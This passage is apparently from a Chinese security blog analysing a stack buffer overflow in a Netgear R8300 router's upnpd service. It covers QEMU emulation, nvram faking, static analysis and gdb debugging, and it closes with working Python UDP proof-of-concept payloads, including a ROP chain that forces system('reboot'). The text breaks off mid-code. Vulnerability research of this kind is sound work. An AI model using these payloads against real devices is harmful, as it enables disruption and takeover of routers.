(__class_create+0x40/0x70)</span><br><span class="line">[ 0.275667] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)</span><br><span class="line">[ 0.280619] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)</span><br><span class="line">[ 0.285445] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)</span><br><span class="line">[ 0.289737] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)</span><br><span class="line">[ 0.290664] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)</span><br><span class="line">[ 0.290727] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)</span><br><span class="line">[ 0.290797] ---[ end trace b31221f46a8dc90f ]---</span><br><span class="line">[ 0.290872] firmadyne: Cannot create device class: gpio!</span><br><span class="line">[ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82!</span><br><span class="line">[ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0!</span><br><span class="line">[ 0.345419] Non-volatile memory driver v1.3</span><br><span class="line">[ 0.360206] brd: module loaded</span><br><span class="line">[ 0.368143] loop: module loaded</span><br><span class="line">[ 0.375773] vda: vda1</span><br><span class="line">[ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0</span><br><span class="line">[ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39</span><br><span class="line">[ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit</span><br><span class="line">[ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16</span><br><span class="line">[ 0.403555] flash size: 128 MiB</span><br><span class="line">[ 0.403585] page size: 512 bytes</span><br><span class="line">[ 0.403612] OOB area size: 16 bytes</span><br><span class="line">[ 0.403640] sector size: 16 KiB</span><br><span class="line">[ 0.403665] pages number: 262144</span><br><span class="line">[ 0.403690] pages per sector: 32</span><br><span class="line">[ 0.403715] bus width: 8</span><br><span class="line">[ 0.405652] bits in sector size: 14</span><br><span class="line">[ 0.408186] bits in page size: 9</span><br><span class="line">[ 0.410586] bits in OOB size: 4</span><br><span class="line">[ 0.412941] flash size with OOB: 135168 KiB</span><br><span class="line">[ 0.416112] page address bytes: 4</span><br><span class="line">[ 0.418491] sector address bytes: 3</span><br><span class="line">[ 0.421054] options: 0x42</span><br><span class="line">[ 0.423632] Scanning device for bad blocks</span><br><span class="line">[ 0.497574] Creating 11 MTD partitions on "NAND 128MiB 1,8V 8-bit":</span><br><span class="line">[ 0.504589] 0x000000000000-0x000000100000 : "NAND simulator partition 0"</span><br><span class="line">[ 0.510956] 0x000000100000-0x000000200000 : "NAND simulator partition 1"</span><br><span class="line">[ 0.517483] 0x000000200000-0x000000300000 : "NAND simulator partition 2"</span><br><span class="line">[ 0.523079] 0x000000300000-0x000000400000 : "NAND simulator partition 3"</span><br><span class="line">[ 0.528404] 0x000000400000-0x000000500000 : "NAND simulator partition 4"</span><br><span class="line">[ 0.533683] 0x000000500000-0x000000600000 : "NAND simulator partition 5"</span><br><span class="line">[ 0.538960] 0x000000600000-0x000000700000 : "NAND simulator partition 6"</span><br><span class="line">[ 0.544362] 0x000000700000-0x000000800000 : "NAND simulator partition 7"</span><br><span class="line">[ 0.549586] 0x000000800000-0x000000900000 : "NAND simulator partition 8"</span><br><span class="line">[ 0.554998] 0x000000900000-0x000000a00000 : "NAND simulator partition 9"</span><br><span class="line">[ 0.560167] 0x000000a00000-0x000008000000 : "NAND simulator partition 10"</span><br><span class="line">[ 0.568706] tun: Universal TUN/TAP device driver, 1.6</span><br><span class="line">[ 0.573024] tun: (C) 1999-2004 Max Krasnyansky <maxk@qualcomm.com></span><br><span class="line">[ 0.584170] PPP generic driver version 2.4.2</span><br><span class="line">[ 0.587727] PPP BSD Compression module registered</span><br><span class="line">[ 0.591009] PPP Deflate Compression module registered</span><br><span class="line">[ 0.594922] PPP MPPE Compression module registered</span><br><span class="line">[ 0.598416] NET: Registered protocol family 24</span><br><span class="line">[ 0.601736] PPTP driver version 0.8.5</span><br><span class="line">[ 0.604905] usbcore: registered new interface driver usb-storage</span><br><span class="line">[ 0.610485] hidraw: raw HID events driver (C) Jiri Kosina</span><br><span class="line">[ 0.614655] usbcore: registered new interface driver usbhid</span><br><span class="line">[ 0.618555] usbhid: USB HID core driver</span><br><span class="line">[ 0.621686] Netfilter messages via NETLINK v0.30.</span><br><span class="line">[ 0.625702] nf_conntrack version 0.5.0 (3958 buckets, 15832 max)</span><br><span class="line">[ 0.630752] ctnetlink v0.93: registering with nfnetlink.</span><br><span class="line">[ 0.635472] ipip: IPv4 over IPv4 tunneling driver</span><br><span class="line">[ 0.639820] gre: GRE over IPv4 demultiplexor driver</span><br><span class="line">[ 0.643303] ip_gre: GRE over IPv4 tunneling driver</span><br><span class="line">[ 0.649259] ip_tables: (C) 2000-2006 Netfilter Core Team</span><br><span class="line">[ 0.655447] arp_tables: (C) 2002 David S. Miller</span><br><span class="line">[ 0.660480] Initializing XFRM netlink socket</span><br><span class="line">[ 0.664155] NET: Registered protocol family 10</span><br><span class="line">[ 0.670172] ip6_tables: (C) 2000-2006 Netfilter Core Team</span><br><span class="line">[ 0.674635] sit: IPv6 over IPv4 tunneling driver</span><br><span class="line">[ 0.680072] NET: Registered protocol family 17</span><br><span class="line">[ 0.683649] bridge: automatic filtering via arp/ip/ip6tables has been deprecated. Update your scripts to load br_netfilter if you need this.</span><br><span class="line">[ 0.692092] Bridge firewalling registered</span><br><span class="line">[ 0.694840] Ebtables v2.0 registered</span><br><span class="line">[ 0.697697] 8021q: 802.1Q VLAN Support v1.8</span><br><span class="line">[ 0.700677] Registering SWP/SWPB emulation handler</span><br><span class="line">[ 0.705032] hctosys: unable to open rtc device (rtc0)</span><br><span class="line">[ 0.713464] EXT4-fs (vda1): couldn't mount as ext3 due to feature incompatibilities</span><br><span class="line">[ 0.721943] EXT4-fs (vda1): mounting ext2 file system using the ext4 subsystem</span><br><span class="line">[ 0.732941] EXT4-fs (vda1): warning: mounting unchecked fs, running e2fsck is recommended</span><br><span class="line">[ 0.740503] EXT4-fs (vda1): mounted filesystem without journal. Opts: (null)</span><br><span class="line">[ 0.745898] VFS: Mounted root (ext2 filesystem) on device 254:1.</span><br><span class="line">[ 0.752726] Freeing unused kernel memory: 180K (c05c7000 - c05f4000)</span><br><span class="line">[ 0.790000] random: init urandom read with 3 bits of entropy available</span><br><span class="line">nvram_get_buf: time_zone</span><br><span class="line">sem_lock: Triggering NVRAM initialization!</span><br><span class="line">nvram_init: Initializing NVRAM...</span><br><span class="line">sem_get: Key: 410160c4</span><br><span class="line">nvram_init: Unable to touch Ralink PID file: /var/run/nvramd.pid!</span><br><span class="line">sem_get: Key: 410c0019</span><br><span class="line">nvram_set_default_builtin: Setting built-in default values!</span><br><span class="line">nvram_set: console_loglevel = "7"</span><br><span class="line">sem_get: Key: 410c0019</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_get: Waiting for semaphore initialization (Key: 410c0019, Semaphore: 8001)...</span><br><span class="line">sem_lock: Unable to get semaphore!</span><br></pre></td></tr></table></figure>
|
||
<h3 id="Qemu自定义"><a href="#Qemu自定义" class="headerlink" title="Qemu自定义"></a>Qemu自定义</h3><ol>
|
||
<li><strong>配置arm虚拟机</strong></li>
|
||
</ol>
|
||
<p>使用Qemu模拟固件需要下载对应的arm虚拟机镜像，内核和initrd。<br><a href="https://people.debian.org/~aurel32/qemu/armhf/" target="_blank" rel="noopener">https://people.debian.org/~aurel32/qemu/armhf/</a></p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[debian_wheezy_armhf_desktop.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_desktop.qcow2) 2013-12-17 02:43 1.7G [debian_wheezy_armhf_standard.qcow2](https://people.debian.org/~aurel32/qemu/armhf/debian_wheezy_armhf_standard.qcow2) 2013-12-17 00:04 229M </span><br><span class="line">[initrd.img-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/initrd.img-3.2.0-4-vexpress) 2013-12-17 01:57 2.2M </span><br><span class="line">[vmlinuz-3.2.0-4-vexpress](https://people.debian.org/~aurel32/qemu/armhf/vmlinuz-3.2.0-4-vexpress) 2013-09-20 18:33 1.9M</span><br></pre></td></tr></table></figure>
|
||
<p>标准的虚拟机启动命令为</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2"</span><br><span class="line">- qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_desktop.qcow2 -append "root=/dev/mmcblk0p2"</span><br></pre></td></tr></table></figure>
|
||
<p>对于R8300固件，在 Host 机上创建一个 tap 接口并分配 IP，启动虚拟机：</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo tunctl -t tap0 -u `whoami`</span><br><span class="line">sudo ifconfig tap0 192.168.2.1/24</span><br><span class="line">qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic`</span><br></pre></td></tr></table></figure>
|
||
<p>与标准命令区别在于<code>-net nic -net tap,ifname=tap0,script=no,downscript=no -nographic</code><br>启动之后输入用户名和密码，都是 root，为虚拟机分配 IP：</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">root@debian-armhf:~# ifconfig eth0 192.168.2.2/24</span><br></pre></td></tr></table></figure>
|
||
<p>这样 Host 和虚拟机就网络互通了，然后挂载 proc、dev，最后 chroot 即可。</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">root@debian-armhf:~# mount -t proc /proc ./squashfs-root/proc</span><br><span class="line">root@debian-armhf:~# mount -o bind /dev ./squashfs-root/dev</span><br><span class="line">root@debian-armhf:~# chroot ./squashfs-root/ sh</span><br></pre></td></tr></table></figure>
|
||
<ol>
|
||
<li><strong>修复依赖</strong></li>
|
||
</ol>
|
||
<p>NVRAM( 非易失性 RAM) 用于存储路由器的配置信息，而 upnpd 运行时需要用到其中部分配置信息。在没有硬件设备的情况下，我们可以使用 <code>LD_PRELOAD</code> 劫持以下函数符号。手动创建 <code>/tmp/var/run</code> 目录，再次运行提示缺少 <code>/dev/nvram</code>。</p>
|
||
<ul>
|
||
<li><p>编译nvram.so</p>
|
||
<p><a href="https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c" target="_blank" rel="noopener">https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c</a></p>
|
||
</li>
|
||
</ul>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ arm-linux-gcc -Wall -fPIC -shared nvram.c -o nvram.so</span><br></pre></td></tr></table></figure>
|
||
<ul>
|
||
<li>劫持<code>dlsym</code></li>
|
||
</ul>
|
||
<p>nvram库的实现者还同时 hook 了 <code>system</code>、<code>fopen</code>、<code>open</code> 等函数，因此还会用到 <code>dlsym</code>，<code>/lib/libdl.so.0</code>导出了该符号。</p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">$ grep -r "dlsym" .</span><br><span class="line">Binary file ./lib/libcrypto.so.1.0.0 matches</span><br><span class="line">Binary file ./lib/libdl.so.0 matches</span><br><span class="line">Binary file ./lib/libhcrypto-samba4.so.5 matches</span><br><span class="line">Binary file ./lib/libkrb5-samba4.so.26 matches</span><br><span class="line">Binary file ./lib/libldb.so.1 matches</span><br><span class="line">Binary file ./lib/libsamba-modules-samba4.so matches</span><br><span class="line">Binary file ./lib/libsqlite3.so.0 matches</span><br><span class="line">grep: ./lib/modules/2.6.36.4brcmarm+: No such file or directory</span><br><span class="line"></span><br><span class="line">$ readelf -a *./lib/libdl.so.**0* | grep dlsym</span><br><span class="line"> 26: 000010f0 296 FUNC GLOBAL DEFAULT 7 dlsym</span><br></pre></td></tr></table></figure>
|
||
<ul>
|
||
<li>配置tmp/nvram.ini信息</li>
|
||
</ul>
|
||
<p>接下来要做的就是根据上面的日志补全配置信息，也可以参考<a href="https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。" target="_blank" rel="noopener">https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini。至于为什么这么设置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。</a></p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">upnpd_debug_level=9</span><br><span class="line">lan_ipaddr=192.168.2.2</span><br><span class="line">hwver=R8500</span><br><span class="line">friendly_name=R8300</span><br><span class="line">upnp_enable=1</span><br><span class="line">upnp_turn_on=1</span><br><span class="line">upnp_advert_period=30</span><br><span class="line">upnp_advert_ttl=4</span><br><span class="line">upnp_portmap_entry=1</span><br><span class="line">upnp_duration=3600</span><br><span class="line">upnp_DHCPServerConfigurable=1</span><br><span class="line">wps_is_upnp=0</span><br><span class="line">upnp_sa_uuid=00000000000000000000</span><br><span class="line">lan_hwaddr=AA:BB:CC:DD:EE:FF</span><br></pre></td></tr></table></figure>
|
||
<ul>
|
||
<li>运行过程</li>
|
||
</ul>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#</span> ./usr/sbin/upnpd</span><br><span class="line"><span class="meta">#</span> /dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line">/dev/nvram: No such file or directory</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span> LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd</span><br><span class="line"><span class="meta">#</span> ./usr/sbin/upnpd: can't resolve symbol 'dlsym'</span><br><span class="line"></span><br><span class="line"><span class="meta">#</span> LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd</span><br><span class="line"><span class="meta">#</span> [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x00b19008</span><br><span class="line">[0x0002648c] custom_nvram initialised</span><br><span class="line">[0x76eb7cb8] *fopen**('/tmp/nvram.ini', 'r') = 0x00b19008*</span><br><span class="line">[nvram 0] upnpd_debug_level = 9</span><br><span class="line">[nvram 1] lan_ipaddr = 192.168.2.2</span><br><span class="line">[nvram 2] hwver = R8500</span><br><span class="line">[nvram 3] friendly_name = R8300</span><br><span class="line">[nvram 4] upnp_enable = 1</span><br><span class="line">[nvram 5] upnp_turn_on = 1</span><br><span class="line">[nvram 6] upnp_advert_period = 30</span><br><span class="line">[nvram 7] upnp_advert_ttl = 4</span><br><span class="line">[nvram 8] upnp_portmap_entry = 1</span><br><span class="line">[nvram 9] upnp_duration = 3600</span><br><span class="line">[nvram 10] upnp_DHCPServerConfigurable = 1</span><br><span class="line">[nvram 11] wps_is_upnp = 0</span><br><span class="line">[nvram 12] upnp_sa_uuid = 00000000000000000000</span><br><span class="line">[nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF</span><br><span class="line">[nvram 14] lan_hwaddr =</span><br><span class="line">Read 15 entries from /tmp/nvram.ini</span><br><span class="line">acosNvramConfig_get('upnpd_debug_level') = '9'</span><br></pre></td></tr></table></figure>
|
||
<h2 id="0x03-静态分析"><a href="#0x03-静态分析" class="headerlink" title="0x03 静态分析"></a>0x03 静态分析</h2><p>该漏洞的原理是使用strcpy函数不当，拷贝过长字符导致缓冲区溢出，那么如何到达溢出位置。<br>首先upnpd服务在<code>sub_1D020()</code> 中使用<code>recvfrom()</code>从套接字接收UDP数据包，并捕获数据发送源的地址。从函数定义可知，upnpd接收了长度为0x1FFFF大小的数据到缓冲区v54</p>
|
||
<blockquote>
|
||
<p><strong>recvfrom</strong> recvfrom函数(经socket接收数据):</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>函数原型:int recvfrom(SOCKET s,void <strong>*buf</strong>,int <strong>len</strong>,unsigned int flags, struct sockaddr <em>from,int </em>fromlen);</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>相关函数 recv，recvmsg，send，sendto，socket</p>
|
||
</blockquote>
|
||
<blockquote>
|
||
<p>函数说明:<a href="https://baike.baidu.com/item/recv%28%29" target="_blank" rel="noopener">recv()</a>用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的<a href="https://baike.baidu.com/item/%E7%BD%91%E7%BB%9C%E5%9C%B0%E5%9D%80" target="_blank" rel="noopener">网络地址</a>,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.</p>
|
||
</blockquote>
|
||
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083882/netgear/image_29.png" alt><br>在 <code>sub_25E04()</code> 中调用 <code>strcpy()</code> 将以上数据拷贝到大小为 <code>0x634 - 0x58 = 0x5dc</code> 的 buffer。如果超过缓冲区大小，数据就会覆盖栈底部分甚至返回地址。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083972/netgear/image_30.png" alt></p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"> +-----------------+</span><br><span class="line"> | retaddr |</span><br><span class="line"> +-----------------+</span><br><span class="line"> | saved ebp |</span><br><span class="line"> ebp--->+-----------------+</span><br><span class="line"> | |</span><br><span class="line"> | |</span><br><span class="line"> | |</span><br><span class="line"> s,ebp-0x58-->+-----------------+</span><br><span class="line"> | |</span><br><span class="line"> | buffer |</span><br><span class="line"> | |</span><br><span class="line"> | |</span><br><span class="line">v40,ebp-0x634-->+-----------------+</span><br></pre></td></tr></table></figure>
|
||
<h2 id="0x04-动态调试"><a href="#0x04-动态调试" class="headerlink" title="0x04 动态调试"></a>0x04 动态调试</h2><p>使用gdbserver调试目标程序<a href="https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver" target="_blank" rel="noopener">https://res.cloudinary.com/dozyfkbg3/raw/upload/v1568965448/gdbserver</a></p>
|
||
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># ps|grep upnp</span><br><span class="line"> 2714 0 3324 S ./usr/sbin/upnpd</span><br><span class="line"> 2788 0 1296 S grep upnp</span><br><span class="line"># ./gdbserver 127.0.0.1:12345 --attach 2714</span><br><span class="line">Attached; pid = 2714</span><br><span class="line">Listening on port 12345</span><br></pre></td></tr></table></figure>
|
||
<p>工作机上使用跨平台试gdb-multiarch<br><code>gdb-multiarch -x dbgscript</code><br>dbgscript 内容</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">set architecture arm</span><br><span class="line">gef-remote -q 192.168.2.1:12345</span><br><span class="line">file usr/sbin/upnpd</span><br><span class="line">set remote exec-file /usr/sbin/upnpd</span><br></pre></td></tr></table></figure>
|
||
<p>直接构造溢出字符，程序不会正常返回，因为栈上存在一个v40的指针v51，需要覆盖为有效地址才能正确返回。<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/image_23.png" alt></p>
|
||
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">p32 = <span class="keyword">lambda</span> x: struct.pack(<span class="string">"<L"</span>, x)</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">payload = (</span><br><span class="line"> <span class="number">0x634</span> * <span class="string">b'a'</span> +</span><br><span class="line"> p32(<span class="number">0x43434343</span>)</span><br><span class="line">)</span><br><span class="line">print(payload)</span><br><span class="line">s.connect((<span class="string">'192.168.2.2'</span>, <span class="number">1900</span>))</span><br><span class="line">s.send(payload)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure>
|
||
<p><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_24.png" alt><br><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python3</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">p32 = <span class="keyword">lambda</span> x: struct.pack(<span class="string">"<L"</span>, x)</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)</span><br><span class="line">payload = (</span><br><span class="line"> <span class="number">0x604</span> * <span class="string">b'a'</span> + <span class="comment"># dummy</span></span><br><span class="line"> p32(<span class="number">0x7e2da53c</span>) + <span class="comment"># v51</span></span><br><span class="line"> (<span class="number">0x634</span> - <span class="number">0x604</span> - <span class="number">8</span>) * <span class="string">b'a'</span> + <span class="comment"># dummy</span></span><br><span class="line"> p32(<span class="number">0x43434343</span>) <span class="comment"># LR</span></span><br><span class="line">)</span><br><span class="line">s.connect((<span class="string">'192.168.2.2'</span>, <span class="number">1900</span>))</span><br><span class="line">s.send(payload)</span><br><span class="line">s.close()</span><br></pre></td></tr></table></figure></p>
|
||
<p>可以看到，我们向返回地址发送的数据为0x43434343，但最后PC寄存器的值为0x43434342，最后一个bit变为0，这是为什么？<a href="https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html" target="_blank" rel="noopener">https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html</a></p>
|
||
<ul>
|
||
<li>首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值，保存的LR就被弹出到PC中返回给调用者。</li>
|
||
<li>其次关于最低有效位的一个注意事项：BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位，CPSR寄存器在ARM和Thumb模式之间切换：ARM（LSB=0）/Thumb（LSB=1）。<ul>
|
||
<li>我们可以看到R7300是运行在THUMB状态</li>
|
||
<li>当处理器处于ARM状态时，每条ARM指令为4个字节，所以PC寄存器的值为当前指令地址 + 8字节</li>
|
||
<li>当处理器处于Thumb状态时，每条Thumb指令为2字节，所以PC寄存器的值为当前指令地址 + 4字节</li>
|
||
</ul>
|
||
</li>
|
||
<li>因此保存的LR（用0x43434343覆盖）被弹出到PC中，然后弹出地址的LSB被写入CPSR寄存器T位（位5），最后PC本身的LSB被设置为0，从而产生0x43434342。</li>
|
||
</ul>
|
||
<p>最后检查程序的缓解措施。程序本身开启了NX，之前用过R7000的真机，设备开了ASLR<br><img src="https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083780/netgear/image_25.png" alt><br>在堆栈恢复前下一个断点，观察控制流转移情况，将PC指针控制为重启指令。通过 hook 的日志可以看到，ROP 利用链按照预期工作（由于模拟环境的问题，reboot 命令运行段错误了…）</p>
|
||
<figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">gef➤ b *0x00025F40</span><br><span class="line">Breakpoint 1 at 0x25f40</span><br><span class="line"></span><br><span class="line">.text:00025F40 ADD SP, SP, #0x234</span><br><span class="line">.text:00025F44 ADD SP, SP, #0x400</span><br><span class="line">.text:00025F48 LDMFD SP!, {R4-R11,PC}</span><br><span class="line"></span><br><span class="line">**.****text****:****0003E9DC** **** LDR R0, =aReboot_0 ; "reboot"</span><br><span class="line">.text:0003E9E0 BL system</span><br><span class="line"></span><br><span class="line">**payload如下：**</span><br><span class="line">payload = (</span><br><span class="line"> 0x604 * b'a' + # dummy</span><br><span class="line"> p32(0x76d9d450) + # v41</span><br><span class="line"> (0x634 - 0x604 - 8) * b'a' + # dummy</span><br><span class="line"> p32(0x0003E9DC) # system(reboot)</span><br><span class="line">)</span><br><span class="line"></span><br><span 